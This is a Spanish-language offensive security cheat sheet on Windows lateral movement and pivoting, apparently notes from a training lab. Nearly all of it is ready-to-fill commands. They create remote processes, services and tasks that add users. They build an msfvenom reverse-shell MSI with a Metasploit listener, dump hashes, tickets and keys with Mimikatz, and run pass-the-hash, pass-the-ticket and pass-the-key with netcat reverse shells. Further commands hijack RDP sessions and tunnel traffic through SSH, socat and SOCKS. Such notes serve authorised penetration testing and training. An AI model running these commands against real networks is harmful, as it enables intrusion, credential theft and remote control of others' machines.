🦘Movimiento Lateral & Pivoting
Técnicas de movimiento lateral entre una red Windows
Generar Procesos Remotos
Diferentes métodos para generar un proceso de manera remota, permitiendo ejecutar comandos en máquinas para las que se tiene credenciales válidas. Elegir método según la situación específica.
Crear Comando Remoto - Psexec
Puerto: 445 - SMB
Grupo Requerido: Administrators
psexec64.exe <IP-remota> -u Administrator -p <pass> -i cmd.exeCrear Proceso Remoto - WinRM
Puertos: 5985/5986 WinRM HTTP/HTTPs
Grupo Requerido: Remote Management Users
winrs.exe -u:Administrator -p:<pass> -r:<computer-name> cmdVersión desde PowerShell:
username = 'Administrator';
$password = '<pass>';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;Enter-PSSession -Computername <name> -Credential $credentialobjectOtra opción desde Powershell es ejecutar ScriptBlocks de manera remota con WinRM:
Invoke-Command -Computername <name> -Credential $credentialobject -ScriptBlock {whoami}Crear Servicio Remoto - SC
Puertos: 135, 49152-65535 (DCE/RPC) 445, 139 (RPC over SMB Named Pipes)
Grupo Requerido: Administrators
sc.exe \\<computer>.<domain> create <service-name> binPath="net user <username> <pass> /add" start= auto
sc. exe \\<computer>.<domain> start <service-name>sc.exe \\<computer>.<domain> stop <service-name>
sc.exe \\<computer>.<domain> delete <service-name>Crear Tarea Programada Remota
schtasks /s <computer>.<domain> /RU "SYSTEM" /create /tn "<task-name>" /tr "<command/payload-to-execute>" /sc ONCE /sd 01/01/1970 /st 00:00
schtasks /s <computer>.<domain> /run /TN "<task-name>"schtasks /s <computer>.<domain> /TN "<task-name>" /DELETE /FMovimiento Lateral con WMI
Windows Management Instrumentation, o WMI, permite al administrador realizar tareas de gestión de manera remota, las cuales podemos aprovechar para movernos lateralmente.
Puertos: 135, 49152-65535 (DCE/RPC) 5985/5986 (WinRM HTTP/HTTPs)
Grupo Requerido: Administrators
Iniciar Sesión WMI desde PowerShell
$username = 'Administrator';
$password = '<pass>';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;$Opt = New-CimSessionOption -Protocol DCOM # DCOM or Wsman
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction StopCrear Proceso Remoto
$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value <some-text>";
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $Command}Crear Servicio Remoto
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "<service-name>";
DisplayName = "<service-name>";
PathName = "net user <new-user> <pass> /add"; # Your payload
ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
StartMode = "Manual"
}$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE '<service-name>'"
Invoke-CimMethod -InputObject $Service -MethodName StartServiceInvoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName DeleteCrear Tarea Programada
# Payload must be split in Command and Args
$Command = "cmd.exe"
$Args = "/c net user <user> <pass> /add"
$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\\SYSTEM" -TaskName "<task-name>"
Start-ScheduledTask -CimSession $Session -TaskName "<task-name>"Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"Instalar paquetes MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port>-f msi > myinstaller.msismbclient -c 'put myinstaller.msi' -U <username> -W ZA '//<pc-name>.<workgroup>.<domain-name>/admin$/' <pass>use exploit/multi/handler
set lhost <ip>
set lport <port>
set payload windows/x64/shell_reverse_tcp
runConfigurar objeto PSCredential
Iniciar sesión de WMI
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\\Windows\\<file>.msi"; Options = ""; AllUsers = $false}wmic /node:<domain-name> /user:<domain>\\<user> product call install PackageLocation=c:\\Windows\\<file>.msiAbuso de Protocolos de Autenticación con Mimikatz
Ataque Pass-the-Hash (PtH)
EXTRACCIÓN NTLM HASH
mimikatz.exe
privilege::debug
token::elevate
lsadump::sammimikatz.exe
privilege::debug
token::elevate
sekurlsa::msvEXPLOTACIÓN - WINDOWS
nc -lvnp <port>token::revert
sekurlsa::pth /user:<username> /domain:<workgroup>.<domain-name> /ntlm:<hash> /run:"c:\\tools\\nc64.exe -e cmd.exe <ip> <port>"winrs.exe -r:<computer>.<workgroup>.<domain> cmdEXPLOTACIÓN - LINUX
python3 /opt/impacket/examples/psexec.py -hashes <hash> <workgroup>.<domain-name>/<username>@<ip>Ataque Pass-the-Ticket (PtT)
mimikatz.exe
privilege::debug
sekurlsa::tickets /exportkerberos::ptt <ticket-kirbi-file>klistAtaque Pass-the-Key (PtK)
mimikatz.exe
privilege::debug
sekurlsa::ekeysnc -lvnp <port>COMANDO SEGÚN ALGORITMO DE LA CLAVE OBTENIDA:
sekurlsa::pth /user:<username> /domain:<domain> /rc4:<hash> /run:"c:\\tools\\nc64.exe -e cmd.exe <ip> <port>"sekurlsa::pth /user:<username> /domain:<domain> /aes128:<hash> /run:"c:\\tools\\nc64.exe -e cmd.exe <ip> <port>"sekurlsa::pth /user:<username> /domain:<domain> /aes256:<hash> /run:"c:\\tools\\nc64.exe -e cmd.exe <ip> <port>"Abuso de Errores del Usuario
Aprovechar errores de configuración o malas prácticas por parte del usuario para ganar mayor acceso a las máquinas dentro de la red.
RDP Hijacking
Solo Windows Server 2016 y anteriores, Windows Server 2019 no permite conectarse a sesiones de otro usuario sin proporcionar la contraseña.
PsExec64.exe -s cmd.exequery user
query sessionAnotamos el
SESSIONNAMEde la sesión actual y elIDde la sesión a secuestrar.
tscon <ID> /dest:<SESSIONNAME>Port Forwarding
Diferentes técnicas de redireccionamiento de puertos que permiten utilizar una máquina comprometida como "máquina de salto" para pivotar a otras máquinas.
SSH Local Port Forwarding
ssh <username>@<ip-a> -L *:<port>:127.0.0.1:<port> -Nnetsh advfirewall firewall add rule name="<name>" dir=in action=allow protocol=TCP localport=<port>SSH Remote Port Forwarding
ssh <username>@<ip-a> -R <port>:<target-ip>:<port> -N
# ssh user@ip-a -> PC comprometido se conecta por ssh
# -R port:ip:port -> tunel entre dos puertos
# -N -> no se ejecutan comandos, solo se mantiene el tunelxfreerdp /v:127.0.0.1 /u:<username> /p:<pass>Port Forwarding con Socat
Para situaciones en las que SSH no está disponible podemos utiliazr la herramienta de Socat, pero antes se debe trasnferir el binario a la máquina de salto.
LOCAL PORT FORWARDING
socat TCP4-LISTEN:<port>,fork TCP4:<ip-a>:<port>netsh advfirewall firewall add rule name="<name>" dir=in action=allow protocol=TCP localport=<port>REMOTE PORT FORWARDING
socat TCP4-LISTEN:<port>,fork TCP4:<target-ip>:<port>Dynamic Port Forwading con SOCKS
REDIRECCIONAMIENTO DE PUERTOS DINÁMICO INVERSO
ssh <username>@<ip-a> -R <port> -N[ProxyList]
socks4 127.0.0.1 <R-port>proxychains curl https://<url.com>Última actualización